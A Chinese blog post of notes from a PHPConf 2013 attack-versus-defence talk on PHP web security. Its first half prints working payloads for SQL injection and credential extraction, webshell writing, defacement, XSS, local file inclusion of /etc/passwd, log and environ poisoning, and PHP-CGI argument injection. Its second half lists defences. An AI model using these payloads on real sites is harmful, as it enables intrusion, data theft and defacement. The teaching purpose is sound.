Jex’s Note

PHPConf 防駭與攻擊重點整理

“矛盾大對決”是 PHPConf 的第一場 , 很不錯的開場, 而且也補足我一些防駭的觀念

一邊防守, 一邊攻擊及解說, 實在太讚了!

SQl Injection

show.php?id=1 + '

= show.php?id=1'

  • 如果有錯誤代表沒有做過濾
  • 補充 : sql injection 也可以直接在密碼地方輸入 ' or "1"="1" -- 來測試它是否有漏洞

寫後門改首頁

show.php?id=20 into outfile '/var/www/.a.php' lines terminated by '<?php eval($_POSST[cmd];?>'

/var/www 建立一個 PHP 的後門 前提是 apache 要有對資料夾執行寫檔的權限

改首頁囉 !

http://XXXX.XXX/.a.php POST, cmd的值為 :

檢視資料清單

echo `ls -alh`

` 包起來代表 php 會去執行 linux command

改首頁

echo `echo Hack by Orange > index.php`

使用 union 污染 sql 結果

這邊不太懂

show.php?id=1

SELECT * FROM news WHERE id=1

show.php?id=1 union select 1,2,3

SELECT * FROM news WHERE id=1 union select 1,2,3

show.php?id=-1 union select 1,2,3

SELECT * FROM news WHERE id=-1 union select 1,2,3

最後會將 1 2 3 顯示在網頁上不同的區塊, 藉此知道它的欄位會顯示在哪

洩露敏感資訊

show.php?id=-1 union select 1,user(),database()

取得管理員帳號密碼

show.php?id=-1 union select 1, username, password from admin where username like '%admin%'

再拿被加密過的密碼拿去反解

繞過空白字元檢查過濾

mysql 解釋語法寬鬆特性

show.php?id=-1 union select 1,2,3

show.php?id=-1/**/union/**/select/**/1,2,3 (OK)

show.php?id=-1%09union%0Dselect%A01,2,3 (試不出來)

hex 值 : %09 : 水平定位符號, 也就是 TAB 鍵 %0D : %A0 : 不知道是不是寫錯了, %0A ENTER 鍵, 比較像(不確定)

show.php?id=(-1)union(select(1),2,3) (OK)

繞過單引號過濾檢查

select ‘foo’ = select 0x666f6f

show.php?id=-1 union select username, password, 3 from admin where userlike 0x2561646d25

25= % 61 = a 64 = d 6d = m

如果 into outfile ‘/var/www/.a.php’ 被鎖, 不能寫檔

XSS 並不是偷 cookie 而已, 也可以劫持首頁

<script>window.onload = function (){document.write(/Hacked by Orange/)}</script>

PHP 雙引號執行

簡單來說就是包在雙引號裡會執行變數的值

  • $db_user = “root”;
  • $db_user = “root $foo”;
  • $db_user = “root ${@phpinfo()}”;
  • $db_user = “root ${@eval($_POST[cmd])}”;

Local file inclusion

假如有一段 code

$_mod = $_GET[module];
include('modules/'. $_mod .'.php');

可以 load GET 值的頁面

  • index.php?module=login
  • index.php?module=logout
  • index.php?module=add

沒過濾好的話可以用來幹壞事 :

  • index.php?module=./login
  • index.php?module=./login.php%00
  • index.php?module=../../../etc/passwd%00

如果又開放讓駭客上傳檔案

  • 上傳圖片
  • /var/log/httpd/access.log
  • upload + $_FILES[file][tmp_name]
  • /proc/self/environ

index.php?module=../../../proc/self/environ :

User-Agent : <?php file_put_contents(‘.a.php’, $_POST[c]); ?>

  • HTTP_USER_AGENT=Mozilla/5.0 (Macinosh; Intel Mac OS X 10.8; rv:24.0)
  • Gecko/20100101 Firefox/24.0

可以利用 Firefox 工具 User-Agent, 改成 <?php@phpinfo();?>

頁面就會執行 phpinfo 的結果了

PHP-CGI Argument Injection

index.php?-s

php-cgi -s index.php

會噴出 index.php 的 code

index.php?-d+allow_url_include%3dOn+-d+auto_prepend_file%3dphp://input

  • php-cgi -d allow_url_include=On
  • php-cgi -d auto_prepend_file=php://input

POST :

<?php echo `id:uname -a`; phpinfo(); ?> <?php `echo CCCC > index.php`;?>

防禦方

基本防禦 :

  • 網站、DB 要分開
  • 資料庫使用者權必須降低
  • 使用者若非需要 FILE 權限記得拿掉

防堵 SQL Injection

  • 使用 Prepared Statements
  • 過濾輸入的值, 判斷變數型態或轉強制轉型態 intval()
  • 過濾字串函數過濾非法的字元, ex : mysql_real_escape_string()addslashes()

注意 double-bytes encoding 問題, 需使用 UTF-8

  • 使用 Stored Procedures
  • 控管錯誤訊息只有管理者可以閱讀
  • 控管資料庫及網站使用者帳號權限為何

XSS 防禦

  • 不要相信任何 input
  • PHP 使用 htmlentities() 過濾輸出到 view 的字串
  • 資料庫的輸入也要過濾
  • 使用白名單機制過濾, 而不單只是黑名單
  • OWASP Cross Site Scripting Prevention Cheat Sheet

    http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Double Quote Evaluation

  • 不同輸出決定不同限擋方式

    • 網頁 : htmlentities()
    • 資料庫 : 防止 SQL Injection
  • 直接去除 ' " ; 等含有 php 語法之特殊符號

  • 使用 Single Quote 而非 Double Quote

Local File Inclusion

  • 使用 index/hash 等方法, 而非直接讀取檔案
  • 避免將私密物件直接暴露給使用者
  • 驗證所有物件是否為正確物件

PHP-CGI Argument Injection

  • 只能更新了
  • WAF / .htaccess 等方法把所有 - 過濾掉
  • RewriteCond %{QUERY_STRING} ^(%2dl\-)[^=]+$ [NC]
  • RewriteRule (.*) - [F,L]

結論 : 駭客攻擊手法多, 必須了解攻擊手法才能針對及進行防禦

ref :

https://speakerdeck.com/p8361/phpconf-2013-mao-dun-da-dui-jue https://speakerdeck.com/allenown/phpconf-2013-mao-dun-da-dui-jue

Comments